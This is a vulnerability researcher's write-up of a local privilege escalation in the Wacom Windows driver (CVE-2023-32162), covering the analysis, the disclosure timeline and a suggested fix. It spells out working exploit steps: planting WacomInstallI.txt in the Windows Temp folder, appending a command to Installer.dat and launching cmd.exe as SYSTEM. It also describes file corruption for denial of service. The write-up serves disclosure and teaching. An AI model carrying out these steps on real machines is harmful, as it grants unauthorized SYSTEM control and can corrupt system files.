Wacom Driver Local Privilege Escalation Vulnerability

CVE-2023-32162 · ZDI-CAN-16318 (0-day)

Table of Contents 📜

  1. What's Wacom and what's the problem?
  2. Why Wacom?
  3. Starting to analyze Wacom Driver 6.3.45-1
  4. WacomDesktopCenter.exe is our friend
  5. Analysing Remove.exe
  6. Windows Temp folder: the source of many evils
  7. Let’s take stock of the situation
  8. Reversing Remove.exe to find other commands and parameters
  9. From /debug parameter to Arbitrary File Write \ Denial of Service
  10. Desperately looking for a way to Local Privilege Escalation
  11. Analyzing /command parameter
  12. Hunting for commands
  13. Installer.dat and Common.dat: two files full of commands
  14. Arbitrary File Write* + Installer.dat = Arbitrary Commands Injection
  15. Let's recap what we have just said
  16. Close, but no cigar
  17. The solution to the last problem
  18. The Exploit
  19. POC
  20. How to fix the vulnerability
  21. Th-th-th that's all folks!
  22. Vulnerability disclosure timeline
  23. Conclusion
  24. Useful readings and references

What's Wacom and what's the problem? 🤔

Wacom is the global leader in the pen display and graphics tablet market for creative users. It distributes many products that need a driver installed in the system to work properly.
In the latest (at the time of writing (2022-01-16)) version of the Windows driver (Wacom Driver 6.3.45-1) I discovered several vulnerabilities, including one that can be exploited by a regular user (with no special privileges) to elevate its privileges to SYSTEM.

Why Wacom? ❓

It was a time when, in my spare time, I was dedicating myself to the study and analysis of application logical vulnerabilities, looking for something different from the usual memory bugs. I have been reading several write-ups of researchers who have found vulnerabilities of this kind, and I promised myself that, sooner or later, I’d find one too.
It was the last day of school before the Christmas holidays (2022-12-22) and, just before leaving the classroom, I opened the task manager (as admin) to see which applications were running under the context of SYSTEM (SYSTEM apps are good candidates to try to get a LPE). In the details tab of active processes, Wacom_Tablet.exe caught my attention (maybe because, besides being running under the context of SYSTEM, it had an icon? 🤔) and, from that moment, I decided to start looking for some logical vulnerabilities in the Wacom driver.

Starting to analyze Wacom Driver 6.3.45-1 🔍

Although I don’t have any Wacom device, I downloaded (here) and installed the driver (does this make any sense? 😂). After restarting the PC I listed all the Wacom's processes running under the context of SYSTEM (WTabletServicePro.exe, Wacom_Tablet.exe and WacomHost.exe) and I started to analyze the WTabletServicePro.exe service via dynamic analysis, using my favorite tool for this type of analysis: Process Monitor.
Unfortunately, after restarting the service, the analysis did not yield useful results, so I decided to move my attention to Wacom_Tablet.exe (maybe it was better that way because, if I found a vulnerability in the service, I would have had to reboot the system to trigger it since a regular user has no rights to restart Windows services, and I'd have preferred to be able to trigger the vulnerability without restarting the system 🤙).
The question now is: how can the regular user interact with Wacom_Tablet.exe?

WacomDesktopCenter.exe is our friend 💕

WacomDesktopCenter.exe is the application that provides the GUI and allows the user to perform different operations on its Wacom device. It runs under the context of regular user, but the hope is that some operation may trigger an application running under the context of SYSTEM (like Wacom_Tablet.exe).
Testing the features provided by the GUI, Backup and Restore operations were particularly interesting. The Backup operation make a local copy of the user customized device settings whereas Restore, as you can imagine, restore the customized device settings from a local backup.
Even if, as in my case, you don't have any Wacom device, WacomDesktopCenter allows you to backup your preferences and restore it (obviously the backup file will contain the default device configuration, without any user preference).
Once the backup is completed a file called Backup.wacomprefs will be created in the folder you have chosen.

Ok but... Why are these operations, in particular the restore one, particularly interesting?
Analyzing WacomDesktopCenter.exe through Process Monitor (3), I found out that it assigns the management of backup and restore operations to PrefUtil.exe (which runs under a medium integrity level), as you can see in the picture below (1).
I also found out that, as you are probably already guessing, the /silent parameter (2) is used to perform the restore operation without showing any window \ requiring any user interaction. In fact, without that parameter, a window will be shown to the user.

However, the most important thing, is that, during the restore operation, a series of other processes are also involved, including Wacom_Tablet.exe (as you can see in the picture below), the process we are trying to interact with.
Unfortunately, analysing the operations performed by the process, I didn't find anything particularly useful but I noticed that, at some point, it triggers another process (remove.exe (2)) under the context of SYSTEM (I used the Process Monitor's underline filters to highlight processes running under the context of SYSTEM in light blue).

Remove.exe receives (1) three parameters (/command, /silent and /agree) and one command (UpdateRouterFilter); could it be that, by analyzing it, we will be able to discover something interesting? Let's try...

Analysing Remove.exe 🔍

Remove.exe performs many activities, so I have collected (in order of execution) the most interesting ones in the image below.

Let's analyze them in order
  1. Remove.exe tries to read from C:\Windows\Temp\WacomInstallI.txt but can't find it.
  2. Remove.exe reads\writes in C:\Windows\Temp\Install-pid-6972.txt something.
    Note: 6972 is the PID of Remove.exe
  3. Remove.exe creates and writes something in C:\Program Files\Tablet\Wacom\UpdateRF.log
  4. Remove.exe deletes C:\Windows\Temp\Install-pid-6972.txt
  5. Remove.exe writes something in C:\Windows\Temp\WacomInstallO.txt
It's quite clear that Remove.exe logs the activities it's performing (which were probably triggered by /command UpdateRouterFilter /silent /agree) in the Install-pid-6972.txt temporary file and, at the end of these activities, moves the contents of such file to UpdateRF.log (the final log file) and deletes the temporary Install-pid-6972.txt file. But what Remove.exe is looking for in the WacomInstallI.txt file? And what does it write in the WacomInstallO.txt file? Could it be that, by analyzing UpdateRF.log, we will be able to answer these questions?

UpdateRF.log helps a lot, in fact it provides us with the following valuable information.
  1. Remove.exe is actually performing activities because of /command UpdateRouterFilter /silent /agree (as we had previously assumed).
    Line 16 told us that a silent (/silent parameter) install (of what?? 🤔) is requested (no user interaction is required).
    /agree means that the user doesn't have to check any 'I agree' checkbox to allow the application to proceed (I tried to run Remove.exe without this parameter and the user must give his consent (in a window that pops up) in order to allow the application to proceed).
    /command is the parameter that precedes a command that Remove.exe must execute, in this case UpdateRouterFilter (line 15-25-27).
  2. From the point 3 we can deduce that, since in WacomInstallO.txt the return result (i.e. the final output) generated by the execution of the UpdateRouterFilter command is written, in WacomInstallI.txt, will probably be written the input(s) for Remove.exe (probably other parameters and\or commands).
  3. In WacomInstallO.txt the return result (i.e. the final output) generated by the execution of the UpdateRouterFilter command is written.
We can deduce that WacomInstallI stands for WacomInstallInput and contains the input(s) for installing something, and WacomInstallO stands for WacomInstallOutput and contains the output of such installation process (which is 0 if the process ended successfully, 1 otherwise).
Ok... And why all this should be useful??

Windows Temp folder: the source of many evils 📂😈

Thinking that a regular user doesn't have particular privileges over the Windows Temp folder (C:\Windows\Temp) is a dangerous and wrong commonplace.
As you can see from the image below (and also directly from your PC) a regular user has special access to the Temp folder.

But... What does special access mean? In this page there is an exhaustive explanation but, for convenience, I transcribe only the permissions that are granted to the regular user. You can check the permissions of the Windows Temp folder on your own by following the steps illustrated in the image below.
As you are probably already guessing, since a regular user has the permission to create and write file in the Windows Temp folder, he can create the WacomInstallI.txt file in it, and write to it special commands\parameters in order to change the Remove.exe normal behavior.
More generally, every process, especially if running with elevated privileges, should take into account that the user could modify or create file in the Windows Temp folder, causing possible unexpected behavior if special measures aren't taken.
Even today many software developers are unaware of this fact (or forget to take it into account).

Let’s take stock of the situation

So far, we've gathered the following information.
  1. If Wacom Driver is installed on the system there're some of its processes running under the context of SYSTEM, and Wacom_Tablet.exe is one of those.
  2. A regular user can't interact directly with Wacom_Tablet.exe but can restore the customized Wacom device settings from a local backup (even if he has no device).
  3. PrefUtil.exe is the real process that performs the restore operation, and can be triggered silently by a regular user, without using WacomDesktopCenter.exe, through the following command line:
    "C:\Program Files\Tablet\Wacom\PrefUtil.exe" /restore "C:\...\Backup.wacomprefs" /silent
  4. During the restore operation, a series of processes are also involved, including Wacom_Tablet.exe
  5. Wacom_Tablet.exe, among the various operations it performs, triggers Remove.exe (with these parameters: /command UpdateRouterFilter /silent /agree), which runs under the context of SYSTEM too.
  6. Remove.exe, before executing the commands received as parameter, reads from the WacomInstallI.txt file to check if there are other commands or parameters to consider\execute.
  7. WacomInstallI.txt should resides in C:\Windows\Temp folder but, actually, there’s no WacomInstallI.txt file in the Windows Temp folder.
  8. A regular user has the permission to create and write file in C:\Windows\Temp, so he can create the WacomInstallI.txt file and write in it special commands\parameters in order to change the Remove.exe normal behavior.
Perfect, now the situation is clear. But...
What are the possible commands\parameters, recognized by Remove.exe, that I can write in the WacomInstallI.txt file?
So far, we found out three parameters (/command, /silent and /agree) and one command (UpdateRouterFilter); where can I find the others?
How can I use them to do something useful (from the point of view of an attacker, of course 😈)?

Reversing Remove.exe to find other commands and parameters 👨‍💻

Before starting with the static code analysis, which usually is quite time consuming, I tried to google some information about the possible parameters\commands related to the Wacom driver, and I found an interesting page that provides developers support (WACOM for Developers).
There are many links and information but the most interesting pages I found are the following
  1. Tablet driver: in paragraph Installer Command Line Parameters.
  2. Tablet installation: in paragraph Run the Preferences utility from the command line.
  3. Tablet customise: in paragraph Configuration files - location and function (peeking inside the configuration file can always help...). 👀
As you can see there are many parameters and, for each of them, a brief description of their functionality is given.
Now we've a list of potential parameters (with relative description) applicable to Remove.exe but, as indicated in the pages above, they're applied to other programs; how do we know that they're also applicable to Remove.exe? Could there be others besides those listed on the pages above?

To answer these questions, and dig deeper, I run some static analysis via x32dbg (since remove.exe is a 32-bit application) debugger (which is part of the x64dbg open source project).
Before analyzing the assembly code generated by x32dbg, I tried to analyze all the strings references of all the Remove.exe modules (right click on the assembly code => Search for => All modules => Strings references) hoping to find some reference to some parameter. I started looking for the parameters already known (/command, /silent and /agree) and then those listed in the pages linked above.
I was lucky! By typing the character that identifies the parameters (/) in the search bar, I found all the parameters already known, some of those listed in the previously linked pages and others unknown.

Trying all the possible letters I found out, inside the remove module, all (probably) the possible parameters that are recognized by Remove.exe, and I've grouped them in the table below.
To check the proper recognition of each parameter I tested them one by one using the command prompt and, through Process Monitor, I was able to observe that the behavior of Remove.exe, for each of them, was different from the behavior shown by providing an unrecognized random parameter (e.g. /aaaaa).
UpdateRF.log provides another confirmation of this fact, showing in the logs different behaviors of Remove.exe among the parameters listed in the table and those inserted randomly (not recognized).

ParameterDescription
/agree Implicitly agrees to the license agreement window pop-up without showing it.
/command commandName Executes the commandName command.
/custom "fileName" Copies C:\Program Files\Tablet\Wacom\32\CustomDefaults\fileName.xml to
C:\Program Files\Tablet\Wacom\WacomTabletDefaults.xml
/debug "C:\foo.txt" Writes the logs generated during the execution of a command into C:\foo.txt file.
/d "C:\foo.txt" Writes the logs generated during the execution of a command into C:\foo.txt file.
/from-ife ??? Can it be related to the graphics tablet Integrated Front End ???
/hex "C:\...\foo.txt" Converts C:\...\foo.txt to hexadecimal format and saves the converted file to C:\...\foo.txt.txt
/ink Request Ink installation.
/opt nowdc | nohelp | noinet | DebugDrv | DebugDll Read this page for the description of the different options.
/silent Avoids the license agreement window (and any other windows) pop-up.
/s Avoids the license agreement window (and any other windows) pop-up.
/uninstall Uninstalls Wacom Driver.
/u Uninstalls Wacom Driver.

The parameters can be combined with each other and, generally (but not necessarily), are associated with a command.
I tried to play a bit with the parameters listed in the table to generate unexpected behavior in Remove.exe, and some of them were very interesting but, in this article, I just want to focus on the parameters highlighted in green in the table above.

From /debug parameter to Arbitrary File Write \ Denial of Service

First of all, I created the file C:\Windows\Temp\WacomInstallI.txt and wrote the following command in it: /debug "C:\foo.txt" /silent, then I triggered Remove.exe (through the command prompt) with the command "C:\Program Files\Tablet\Wacom\PrefUtil.exe" /restore" "C:\...\Backup.wacomprefs" /silent
The result, as expected, was the creation of the C:\foo.txt file containing the logs of the operations performed by Remove.exe
But what operations did it perform? Let's look at foo.txt file.

As you can see foo.txt has some difference from UpdateRF.log
Let's analyze the file in detail.
  1. The logs of the operations performed by Remove.exe are really written into foo.txt
  2. The command we wrote into WacomInstallI.txt was received correctly as command line argument.
  3. Other arguments are implicitly passed to Remove.exe, as shown in this image.
    In short this means that the arguments that Remove.exe will actually receive are the following: /debug "C:\foo.txt" /silent /command UpdateRouterFilter /silent /agree
  4. (where the green arguments are the arguments taken from WacomInstallI.txt and, the red ones, are implicitly passed to Remove.exe by Wacom_Tablet.exe).
    The logs put in evidence an unexpected behavior because the implicit arguments are repeated twice and, for some reason, a chunk of the arguments read from WacomInstallI.txt (.t) precedes them. I suppose this problem may be related to the repetition of the /silent parameter or to the use of quotes; I haven't investigated further because, luckily for us, our command is successfully executed anyway 😎
  5. Remove.exe reads the parameters\commands to execute from WacomInstallI.txt, as previously assumed.
  6. Our parameters are being executed successfully!
  7. /silent parameter is used to perform the operations without showing any window \ requiring any user interaction.
  8. UpdateRouterFilter command is going to be executed (successfully).
  9. All the operations have been performed successfully, so 0 is written into WacomInstallO.txt (in case of errors, 1 would have been written).
  10. It's not possible to understand it from the logs but, at the end of all the operations, the WacomInstallI.txt file is deleted from the Windows Temp folder.
In the example I created foo.txt on the C drive, which is a point where the regular user has write privileges but, repeating the same operation using the path "C:\Windows" or "C:\Windows\System32" (folders in which the regular user doesn't have write permission), foo.txt is created anyway.
This demonstrates, and can also be verified via Process Monitor, that Remove.exe executes the received arguments without impersonating the regular user, giving him an Arbitrary File Write primitive with partial control over the content of the file written\overwritten (because the only part of foo.txt that we can modify at will is the one indicated by rectangle 2, which is the one we write into WacomInstallI.txt).

But what if we used a path of an already existing file?
The file will be written in append mode! So, all the content shown in the image above would be added to the end of the file (I used the C:\Windows\win.ini file as proof of concepts). This clearly allows us to damage any executable (or other) file, causing a possible Denial of Service on any target program installed on the system (including the operating system itself (e.g. overwriting a system file necessary for the Windows startup)).

Desperately looking for a way to Local Privilege Escalation 😭

Unfortunately, now comes that very bad moment when you find yourself with an Arbitrary File Write primitive with partial control over the content of the file written\overwritten and you don't know how to use it to get a Local Privilege Escalation...
You have already found an Arbitrary File Write and a Denial of Service vulnerability that you could already publish, BUT you don't want to give up! And keep looking, to get something more! And maybe, in the meantime, some other bug hunter\researcher, who doesn't give a shit about doing better, is going publish what you have already found out but haven't disclosed yet 🤯🤯

Anyhow I didn't give up and continued on my way, trying the following strategies that didn't get me anywhere but, with your help, they could be useful to me (and for some readers) in the future! Yes! If it had been an Arbitrary File Write primitive with full control over the content of the file written\overwritten, it would have been much easier... It would have been enough to follow one of these techniques (ualapi.dll is one of my favorite Windows 10 phantom dll).

Please, if you know how to solve one (or more) of the problems listed above or, more generally, if you know some techniques to get a Local Privilege Escalation starting from an Arbitrary File Write primitive with partial control over the content of the file written\overwritten without using third-party applications, send me a message at luca.barile.research@gmail.com. I'll publish the technique directly in this paragraph; it could help other researchers\readers.

Analyzing /command parameter 🔍

After the previous numerous, very time consuming and unfortunately unsuccessful attempts to exploit the /debug parameter to get a LPE, I decided to go back and analyze the other parameters discovered (previously listed here).
The reason is quite simple: if the /debug parameter led me to an Arbitrary File Write (with partial control over the content of the file written\overwritten), may be that the other parameters may also lead to some other equally interesting result.
As you were probably already guessing before reading this paragraph (since I've already highlighted it in green in the table (spoiler 😒)), I decided to analyze the /command parameter.
/command commandName executes the commandName command and, so far, the only command we could find is UpdateRouterFilter.
Is this the only command available? Probably not because, if it were, what kind of value would the /command commandName have? It would be useless since we could only execute one command; it would make more sense to introduce an /UpdateRouterFilter parameter and nothing else.
For this reason I assumed that others must also exist, but which are they? How many? What are they for? And, more importantly, is there one that can be useful for our purposes?

Hunting for commands 🔫

Similarly to what I did to search for all the possible parameters accepted by Remove.exe, I searched, in all the strings references of all the Remove.exe modules (look at this previous paragraph), the presence of some new command but, unexpectedly, not even the only command found so far (UpdateRouterFilter), was present! Where're the commands?! 😲
I Assumed, erroneously, that since it's Wacom_Tablet.exe that creates the Remove.exe process and calls it by passing some arguments, including the UpdateRouterFilter command (look at this previous paragraph (image 3)), I could also find other commands by searching in all the strings references of all the Wacom_Tablet.exe modules, but I could not find anything.
Since I was in reversing\debugging mode, I continued to analyze with x32dbg\x64dbg other applications (located in the Wacom Driver installation folder) that seemed potentially interesting to me (such as PrefUtil.exe, WacomDesktopCenter.exe, Wacom_CVCBridge.exe, and so on...), but the final result was just a big waste of time!! 🎉
Since we are sure that Remove.exe, when triggered, executes the UpdateRouterFilter command that it receives as parameter (and we can confirm this fact from the logs (look at this previous paragraph (image 2, line 31)), it means that, somehow, it must verify that the given command exists among a list of possible commands, before executing it.
Since I've found that this list doesn't exist among all the strings references of all its modules, I concluded that it must read this list of commands somewhere else.
To confirm my theory I came back to dynamic analysis. I analyzed through Process Monitor the activities performed by Remove.exe from the moment it is executed to the moment it creates UpdateRF.log, and I discovered that, among the various activities performed between these two events, it reads many times something from Installer.dat (1) and Common.dat (2) files, as you can see in the following image 🤔

Installer.dat and Common.dat: two files full of commands 🗃️

Reading the contents of the Installer.dat and Common.dat files, I found the list(s) of possible commands that Remove.exe can execute, confirming my previously theory.
Installer.dat contains 76 possible commands, while Common.dat contains 49; the complete commands list is illustrated in the image below.

Analyzing the command structure, it's easy to understand that the name of each command is contained between two square brackets (eg [commandName]), the following lines contain the instructions of the command itself (which Remove.exe must execute (those starting with # are comments)) and the line containing the word "DONE" only, represents the end of the command.
Some examples are shown in the following image.

The instructions of the various commands are quite easy to understand and self-explanatory in many cases. Let's analyze, for example, the command contained in the blue box.
Execute means that a program must be executed.
; is the character used to separate the various parameters.
100 is the time (in milliseconds) that must elapse before executing the program.
!PROGFILES!\\Tablet\\DevInst.exe is the path of the program to execute (!PROGFILES! is the analogue of the %ProgramFiles% special directory and if, as usually happens, Windows is installed in the C drive, it's equals to C:\Program Files), in my case: C:\Program Files\Tablet\DevInst.exe
CopyOEMInf wachidrouter_pro.inf is what will be written to the log file (line 187, for example, is written in image 2 (line 33) of this previous paragraph).
It's not a coincidence that, in the example, I took into consideration the "Execute" command, that allows to execute a program...
(From now on, for convenience, I'll write Arbitrary File Write* to indicate our particular situation, in which we have an Arbitrary File Write primitive with partial control over the content of the file written\overwritten).

Arbitrary File Write* + Installer.dat = Arbitrary Commands Injection 💡

The discovery of the two .dat files was the piece we needed to complete the puzzle.
Now we can finally weaponize our Arbitrary File Write* to get the coveted Local Privilege Escalation, following a different strategy from those indicated in this previous paragraph, which this time will not be a failure, but a winning strategy!! 😎
So... What's the idea?
Now we can use our Arbitrary File Write* primitive to append a command (for example PrivilegeEscalation) at the end of Installer.dat (we could also use Common.dat) and then invoke that command using the /command PrivilegeEscalation parameter (instead of the well-known UpdateRouterFilter). We can associate a single instruction to the command which, similarly to the one described in the previous paragraph (Execute;1000;!PROGFILES!\\Tablet\\DevInst.exe;), executes a program but, in our case, we can decide to run cmd.exe
Since Remove.exe executes commands under the context of SYSTEM, the programs it will run will become, in turn, processes running under the context of SYSTEM and, in our case, we'll get a Command Prompt window running as NT AUTHORITY\SYSTEM.
To do what has been said we just have to create C:\Windows\Temp\WacomInstallI.txt with the following content.

/debug "C:\Program Files\Tablet\Wacom\32\Installer.dat" will force Remove.exe to append the logs of the activities it's performing at the end of C:\Program Files\Tablet\Wacom\32\Installer.dat file, while /silent avoids the license agreement window (and any other windows) pop-up (as previously explained).
The remaining three rows represent the command in its 3 components (name, instructions, end), as explained in the example of the previous paragraph.
Since Remove.exe considers all the four lines as arguments, they will be copied into Installer.dat even if, practically, only the first line contains the only parameter (/debug) accepted and executed.
The final result, obtained after triggering Remove.exe with the usual command line ("C:\Program Files\Tablet\Wacom\PrefUtil.exe" /restore "C:\...\Backup.wacomprefs" /silent), is the Installer.dat file modified as follows.

The most important thing we can observe is the light blue rectangle. It shows us that our malicious command (PrivilegeEscalation), was successfully injected into Installer.dat as an argument read by Remove.exe from our malicious WacomInstallI.txt
We can observe the following things Perfect! Now we must run the command just injected into Installer.dat (PrivilegeEscalation)... How can we do it?
To inject the malicious command we created (and wrote into) C:\Windows\Temp\WacomInstallI.txt but, as indicated in the list (point 9) written in this previous paragraph, at the end of the operations Remove.exe deletes this file.
All we have to do is recreate it, write the /command PrivilegeEscalation /silent command into it, and trigger Remove.exe again, using the usual "C:\Program Files\Tablet\Wacom\PrefUtil.exe" /restore" "C:\...\Backup.wacomprefs" /silent command line.
If all goes well, the coveted Command Prompt window running as NT AUTHORITY\SYSTEM should appear 🤞

Let's recap what we have just said

Summarizing what has been said so far, to pop up the Command Prompt window, we should perform the following steps.
  1. Create C:\Windows\Temp\WacomInstallI.txt and write the following four rows in it:
    /debug "C:\Program Files\Tablet\Wacom\32\Installer.dat" /silent
    [PrivilegeEscalation]
    Execute;1000;!SYSTEM!\\cmd.exe
    DONE
  2. Trigger Remove.exe through PrefUtil.exe using the following command:
    "C:\Program Files\Tablet\Wacom\PrefUtil.exe" /restore" "C:\...\Backup.wacomprefs" /silent
  3. Wait for Remove.exe to finish.
    At the end of its execution the PrivilegeEscalation command should have been injected into Installer.dat silently and WacomInstallI.txt should have been deleted.
  4. Create C:\Windows\Temp\WacomInstallI.txt again and write the following row in it:
    /command PrivilegeEscalation /silent
  5. Trigger Remove.exe through PrefUtil.exe using the following command:
    "C:\Program Files\Tablet\Wacom\PrefUtil.exe" /restore" "C:\...\Backup.wacomprefs" /silent
  6. Wait for Remove.exe to finish.
    At the end of its execution the PrivilegeEscalation command should have been executed silently and WacomInstallI.txt should have been deleted.
    The execution of PrivilegeEscalation command should have been popped out the coveted Command Prompt window, running as NT AUTHORITY\SYSTEM.

Close, but no cigar 🚭😭

I was ready to celebrate but... WTF?! The exploit I wrote following the previous steps didn't work!
How the hell is that possible? 😲
After racking my brain for hours I found out it's all the fault of those damned arguments implicitly passed to Remove.exe (of which I have spoken in this previous paragraph (point 3 of the list)) 😡
If you remember, the following arguments were implicitly passed to Remove.exe
/command UpdateRouterFilter /silent /agree
therefore, when we execute the step 5 of the previous list, Remove.exe concatenates the arguments we wrote in WacomInstallI.txt (step 4 of the previous list) with the implicit ones, producing the following final string
/command PrivilegeEscalation /silent /command UpdateRouterFilter /silent /agree
Since the /command and /silent parameters are repeated twice, Remove.exe considers only the last occurrences. The /silent parameter doesn't change, so it's not a problem, but the second /command parameter executes the UpdateRouterFilter command instead of our malicious PrivilegeEscalation, fucking up all our plans!

The solution to the last problem ✔️🥳

To solve this problem I used the /debug parameter in a particular way, adding it to the parameters written into WacomInstallI.txt in the following way
/command PrivilegeEscalation /silent /debug "
as a consequence, after the concatenation performed by Remove.exe, the final string produced is the following
/command PrivilegeEscalation /silent /debug " /command UpdateRouterFilter /silent /agree
The idea is to use the /debug parameter to force Remove.exe to consider the arguments it implicitly receives as the path of the file to write the logs in, even if it isn't possible to write the closing quotes of the path at the end of the implicit parameters.
Fortunately, the idea works even without the closing quotes! No log file is created (obviously because its path is malformed) and our malicious command is executed successfully, allowing us to get the Command Prompt window running as NT AUTHORITY\SYSTEM.

The Exploit ☠️

The steps we need to perform to pop out a Command Prompt window running as NT AUTHORITY\SYSTEM are almost the same as those previously indicated; we just need to add the /debug parameter appropriately.
  1. Create C:\Windows\Temp\WacomInstallI.txt and write the following four rows in it:
    /debug "C:\Program Files\Tablet\Wacom\32\Installer.dat" /silent
    [PrivilegeEscalation]
    Execute;1000;!SYSTEM!\\cmd.exe
    DONE
  2. Trigger Remove.exe through PrefUtil.exe using the following command:
    "C:\Program Files\Tablet\Wacom\PrefUtil.exe" /restore" "C:\...\Backup.wacomprefs" /silent
  3. Wait for Remove.exe to finish.
    At the end of its execution the PrivilegeEscalation command should have been injected into Installer.dat silently and WacomInstallI.txt should have been deleted.
  4. Create C:\Windows\Temp\WacomInstallI.txt again and write the following row in it:
    /command PrivilegeEscalation /silent /debug "
  5. Trigger Remove.exe through PrefUtil.exe using the following command:
    "C:\Program Files\Tablet\Wacom\PrefUtil.exe" /restore" "C:\...\Backup.wacomprefs" /silent
  6. Wait for Remove.exe to finish.
    At the end of its execution the PrivilegeEscalation command should have been executed silently and WacomInstallI.txt should have been deleted.
    The execution of PrivilegeEscalation command should have been popped out the coveted Command Prompt window, running as NT AUTHORITY\SYSTEM.
Here you can find the C# source code of my exploit (Visual Studio Project.zip).
Here you can find the source code picture.
Here you can find the executable file (Exploit.exe).

POC 🎦

I have tested the exploit only for Wacom Driver 6.3.45-1 but, most likely, it also works for the previous versions (and I hope not on the future ones 🙄).

How to fix the vulnerability 🚑

The root cause from which everything begins is C:\Windows\Temp\WacomInstallI.txt
There may be several ways to solve the problem but, in my opinion, one of the best is to move WacomInstallI.txt to a folder where the regular user can't write to (e.g. C:\Program Files\Tablet\Wacom).
Without the possibility to write in that file, it isn't possible to send parameters and commands of our choice to Remove.exe and, consequently, we can't perform the previously described attack.
Another idea is to force Remove.exe to impersonate the user while executing commands read from WacomInstallI.txt
However I don't think this is a viable solution because, as you can see from the Installer.dat file, most of the commands require elevated privileges to be executed correctly and so I think that the solution proposed before remains the best.
I haven't checked under what circumstances WacomInstallI.txt is created by some Wacom's process. Is it actually created by some process? Is it actually used by Wacom Driver 6.3.45-1 or was it only used in some previous version?
I don't know and haven't tried to answer these questions, however I know that if it's actually used, it's definitely a good idea to move it out from the Windows Temp folder.

Th-th-th that's all folks! 🔚

I want to conclude the technical part of this (short 😑) write-up in the same way the Wacom developers have written the last command into Installer.dat
Taking a look at the bottom of that file, we can notice that the last entered command is a test command, aimed at testing the correct reading, interpretation and execution of the commands.


Vulnerability disclosure timeline 📅

First of all, I checked if the vendor has launched a bug bounty program but, unfortunately, Wacom Technology Corporation has none and the only page where you can report something (this), doesn't speak explicitly of any acknowledgement (neither meritocratically nor economically).
At this point I followed the MITRE researcher reservation guidelines and, since Wacom Technology Corporation isn't on the CNAs partner list, the only two remaining possibilities were to contact the CNA of Last Resort (CNA-LR) through the CVE Request web form or a third-party coordinator CNAs.
Since the CNA of Last Resort, as the word itself says, is the last resort (🏝️), I looked for a third-party CNA in the CNAs list and decided to contact the Zero Day Initiative CNA.
ZDI relieves you from the burden of tracking the bug with the vendor, could make a monetary offer to the researcher (CNA of Last Resort doesn't), follows a responsible vulnerability disclosure policy and has a loyalty program (CNA of Last Resort doesn't). You can learn more about their disclosure policy here. Well... After only one year and eight months, the vulnerability has finally been published. I think it's not necessary to add any more comments on the questionable timing 😡

Conclusion

I really enjoyed hunting for logical vulnerabilities; it was the first time I tried to hunt for this type of vulnerability.
Instead of focusing on the classic and well-known memory corruption bugs, whose exploitation is becoming more and more difficult due to increasingly advanced memory protection features (such as ASLR, KASLR, DEP, SEHOP, ...), the logical vulnerabilities follow another attack perspective, based on the logic with which the developer(s) determine what the program should do and how.
Dynamic analysis contributes a lot to understand the processing flow of an application and could save us, in part or entirely, from the much more time consuming static analysis.
Analyzing the behavior of the different processes and their interactions, we can understand the logic according to which they operate and, starting from this, we can try to understand if (and how) it's possible to manipulate the normal processes execution flow, to generate unexpected behaviors that allow us to reach our goals (e.g. Local Privilege Escalation, Remote Code Execution, Denial Of Service, Arbitrary File Read, ...).
In my particular case, in order to generate unexpected behaviors, I took advantage of reading from a file in which the user shouldn't have been able to write, but there are many other ways and techniques to achieve this goal (eg dll attacks (replacement, hijacking, proxying, ...), race condition, junctions, symbolic links, opportunistic locks, named pipe impersonation, ...), some of which still to be discovered!
One of the most stimulating moments comes when, through one or more techniques, you're able to achieve partial goals (e.g. Arbitrary File Read\Write) and you need to understand how (and if) it's possible to chain them to achieve the final goal (e.g. LPE); this is the moment in which we have to be creative and avoid overheating of our brain 🤯
The last, but not least, hallmark of logical vulnerabilities I want to mention lies in the ease with which they can be exploited, and in the 'quality' of the exploits that can be developed for them. In fact, it's not always possible to develop a "reliable" exploits for a memory corruption vulnerability (read this article for more information), also due to the high level of dependence they have with the architecture and the PC platform for which they were designed. This level of dependency is not usually present in logical vulnerability exploits because they aren't based on the architecture of the system, but on the logic of the processes and on the alteration of their execution flow.
Finally I want to point out that avoiding this type of software vulnerability is not easy at all. An idea could be to limit as much as possible, especially from the processes running under the context of SYSTEM, the interactions with files and folders on which the regular user can write to. However, this limitation isn't always easy to maintain, impersonation is often overlooked and preventing attacks based on multiple 'inaccuracies' chaining is very difficult.
So? What are you waiting for? Find and exploit your logical vulnerability and share your knowledge on your blog 🙃

PS
As many of you have already noticed, I wrote this article going into detail and specifying concepts that are probably well known for people who have been dealing with these topics for a while but, for the people who are approaching them now, they may be less obvious.
When I began to study and deepen these topics, I had some difficulties to understand the more technical parts of various write-ups, and I tried to gather here and there on the net the missing knowledge, to fully understand what the author was explaining.
I hope this article can be easily understood and used as a link, to better understand any other write-up (related to logical vulnerabilities) written in a more concise way.

Useful readings and references 🔗

I've already included all the useful references for the drafting of this article and deepening of some concepts, in the form of links, in the various paragraphs that you have read.

As for the readings, in my opinion, the usual texts that are often recommended to those who are approaching the exploits development topic can be useful (eg Hacking - The art of exploitation, Writing Security tools and Exploits, ...) BUT, my advice is to focus also on the researchers' write-ups (in particular the most recent ones, representing the current state of the art), and on a specific type of vulnerability that you have decided to investigate (eg logical vulnerabilities, UAF, ...).
The usual texts are undoubtedly useful readings but sometimes they might be too general (they don't focus (or only partially) on the topics of your interest), not updated (they make assumptions and use techniques that are no longer applicable to modern operating systems), too little practical (rich in theoretical concepts but poor in practical examples applicable to current operating systems) and reductive towards new protection systems (they apply exploiting techniques assuming an ideal situation, in which one or more of the protections implemented in the nowadays operating systems, are absent or disabled).

For these reasons I prefer to suggest readings based on the write-ups of various researchers, regarding the logical vulnerabilities.
The first link refers to a collection of write-ups, slides, in-depth analysis and readings about logical vulnerabilities (kindly collected by sailay1996), the subsequent ones refer to other write-ups not present in that list, and the last four refer to constantly updated databases through which you can stay up to date on the new discovered vulnerabilities. And don't forget to read the official (and unofficial) documentation of Process Monitor, one of the Windows dynamic analysis tools that, as you have seen, played a fundamental role for hunting logical vulnerabilities!



If you liked this article, what do you think about buying me a unicorn? Yeees! I'll buy it for you! 🦄